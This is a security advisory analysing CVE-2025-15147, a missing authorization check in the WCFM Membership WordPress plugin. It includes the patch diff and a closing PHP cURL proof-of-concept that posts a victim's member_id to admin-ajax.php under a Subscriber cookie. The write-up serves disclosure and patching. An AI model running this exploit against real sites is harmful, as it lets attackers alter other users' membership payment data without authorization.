Atomic Edge analysis of CVE-2025-15147:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the WCFM Membership plugin for WordPress, allowing authenticated attackers with Subscriber-level access or higher to modify other users’ membership payment details. The vulnerability has a CVSS score of 4.3, indicating medium severity.
Atomic Edge research identifies the root cause as a missing authorization check in the `WCFMvm_Memberships_Payment_Controller::processing` method. The vulnerable code, located in `/wc-multivendor-membership/controllers/wcfmvm-controller-memberships-payment.php`, directly accepts a `member_id` parameter from user-controlled form data (`$wcfm_membership_payment_form_data[‘member_id’]`) at line 31. The plugin converts this value to an integer but does not verify that the current user is authorized to act on the specified member ID before processing payment updates.
An attacker exploits this flaw by sending a crafted POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must include the action parameter set to `wcfmvm_memberships_payment_processing` and a `member_id` parameter set to the ID of a victim user. The attacker’s account only requires Subscriber-level permissions. The payload manipulates the membership payment data associated with the victim’s ID, as the processing function trusts the submitted `member_id` without validation.
The patch adds a new protected method, `is_valid_member_id`, and calls it before processing. This method, defined at lines 84-92, checks two conditions: the supplied `$member_id` must equal the current user’s ID (`get_current_user_id() == $member_id`), and the user must have membership permissions (`wcfm_is_allowed_membership()`). If the check fails, the script terminates with an error. Before the patch, any authenticated user could submit any member ID. After the patch, users can only submit their own member ID.
Successful exploitation allows an attacker to alter the membership payment information of other users. This could lead to unauthorized changes in membership status, payment methods, or associated vendor privileges within the multivendor marketplace. The impact is unauthorized data modification and a potential integrity breach of the membership system.
--- a/wc-multivendor-membership/controllers/wcfmvm-controller-memberships-payment.php
+++ b/wc-multivendor-membership/controllers/wcfmvm-controller-memberships-payment.php
@@ -31,6 +31,12 @@
if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) {
$member_id = absint($wcfm_membership_payment_form_data['member_id']);
+
+ if ($member_id && !$this->is_valid_member_id( $member_id )) {
+ echo '{"status": false, "message": "' . esc_html__( 'Not a valid member', 'wc-multivendor-membership' ) . '"}';
+ die;
+ }
+
$wcfm_membership = get_user_meta($member_id, 'temp_wcfm_membership', true);
$paymode = wc_clean($_POST['paymode']);
@@ -77,4 +83,14 @@
die;
}
+
+ protected function is_valid_member_id( $member_id ) {
+ $is_valid_member = false;
+
+ if ((get_current_user_id() == $member_id) && wcfm_is_allowed_membership()) {
+ $is_valid_member = true;
+ }
+
+ return $is_valid_member;
+ }
}
--- a/wc-multivendor-membership/wc-multivendor-membership-config.php
+++ b/wc-multivendor-membership/wc-multivendor-membership-config.php
@@ -4,7 +4,7 @@
define('WCFMvm_TEXT_DOMAIN', 'wc-multivendor-membership');
-define('WCFMvm_VERSION', '2.11.8');
+define('WCFMvm_VERSION', '2.11.9');
define('WCFMvm_SERVER_URL', 'https://wclovers.com');
--- a/wc-multivendor-membership/wc-multivendor-membership.php
+++ b/wc-multivendor-membership/wc-multivendor-membership.php
@@ -4,14 +4,14 @@
* Plugin URI: https://wclovers.com/product/woocommerce-multivendor-membership
* Description: A simple membership plugin for your multi-vendor marketplace.
* Author: WC Lovers
- * Version: 2.11.8
+ * Version: 2.11.9
* Author URI: https://wclovers.com
*
* Text Domain: wc-multivendor-membership
* Domain Path: /lang/
*
* WC requires at least: 3.0.0
- * WC tested up to: 10.3
+ * WC tested up to: 10.5
*
*/
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15147 - WCFM Membership – WooCommerce Memberships for Multivendor Marketplace <= 2.11.8 - Insecure Direct Object Reference to Update Membership Payment
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$attacker_cookie = 'wordpress_logged_in_abc=...'; // Replace with a valid Subscriber session cookie
// The ID of the victim user whose membership payment will be modified
$victim_member_id = 5;
// Initialize cURL session
$ch = curl_init();
// Set the target URL
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
// Craft the POST data for the vulnerable AJAX action.
// The 'action' parameter triggers the vulnerable controller method.
// The 'member_id' parameter is the user-controlled key that lacks authorization.
$post_data = array(
'action' => 'wcfmvm_memberships_payment_processing',
'member_id' => $victim_member_id,
// Additional payment form parameters would be included here in a real attack.
'wcfm_membership_payment_form' => '1',
'paymode' => 'test'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
// Set the session cookie to authenticate as a Subscriber
$headers = array(
'Cookie: ' . $attacker_cookie
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Output results
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . $response . "n";
curl_close($ch);
?>